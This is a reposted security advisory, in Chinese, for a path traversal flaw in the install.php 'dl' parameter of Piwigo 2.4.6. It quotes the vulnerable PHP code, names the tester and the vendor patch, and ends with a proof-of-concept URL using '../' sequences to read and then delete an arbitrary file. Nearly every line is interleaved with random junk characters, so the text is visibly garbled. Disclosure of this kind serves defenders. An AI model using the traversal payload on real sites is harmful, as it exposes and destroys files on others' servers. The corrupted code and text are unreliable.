Piwigo是用PHP编写的相册脚本。
8 e3 O! W; M( w0 y7 d4 V+ L" T+ x, K
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。 s. q+ i% ]1 U7 k' G3 ~
====================================================================
5 n1 q' L2 v* n4 p& w1 ?* ?/install.php:
3 z, A, A$ @- R+ k9 I5 Y, A9 G( Q/ I-------------
' N5 {9 ?& ^6 q0 ]113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
; r f' X& k) d, ] w114: {9 { V* Y' ?( T: b- {
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];2 C( ^$ j+ W" P) r6 p# Z5 g3 }$ k
116: header('Cache-Control: no-cache, must-revalidate');
0 G1 L1 e6 k: D# y \( U" [ A117: header('Pragma: no-cache');
* i) X! T# A |) x2 {5 I118: header('Content-Disposition: attachment; filename="database.inc.php"');- _' f9 U; F5 S* |' l
119: header('Content-Transfer-Encoding: binary');
7 P$ f9 h4 Q% @5 j9 T; z/ R120: header('Content-Length: '.filesize($filename));% H" P1 }4 e- {( J# g
121: echo file_get_contents($filename);* G% w( j+ n' f4 ^* I% a+ X
122: unlink($filename);
) g* N! e9 D7 t123: exit();5 Q; J7 t' |8 Q; v4 C1 G, K' a
124: }1 \0 ~7 F. U' {$ b
====================================================================4 u+ _% ]2 p o- x
/ e/ |6 j1 C! I0 i$ ~ y
Tested on: Microsoft Windows 7 Ultimate SP1 (EN), Z* X7 `' A% {' Y# {" ]* @
Apache 2.4.2 (Win32)
/ i2 I5 R( x( P0 Z* f& N PHP 5.4.4% S: S) I% \- {5 l% R7 J2 ?: I
MySQL 5.5.25a
! L4 R6 u( K8 W. R 8 P5 f) y& ]/ d D
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic9 g# B2 u( e3 P
@zeroscience
5 o& h( F: g# w2 k1 E/ b $ l0 B( m5 h- b% r
Advisory ID: ZSL-2013-5127
3 n! t/ d! N1 A8 z GAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php# E. {% T }+ s
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843/ A0 H' h2 U9 X7 Z+ ]+ Z' m
7 T1 y! D" k. z6 d, x15.02.2013
& r5 ]4 M7 ?. `* ^+ j
/ Q F6 k5 J1 Z G6 H: m4 I--
4 |" J- l; o& x8 g) T+ m" Fhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
: B/ s: `4 {5 V9 g( K! C f 6 ^3 i8 E& {2 q, j- A5 Q
|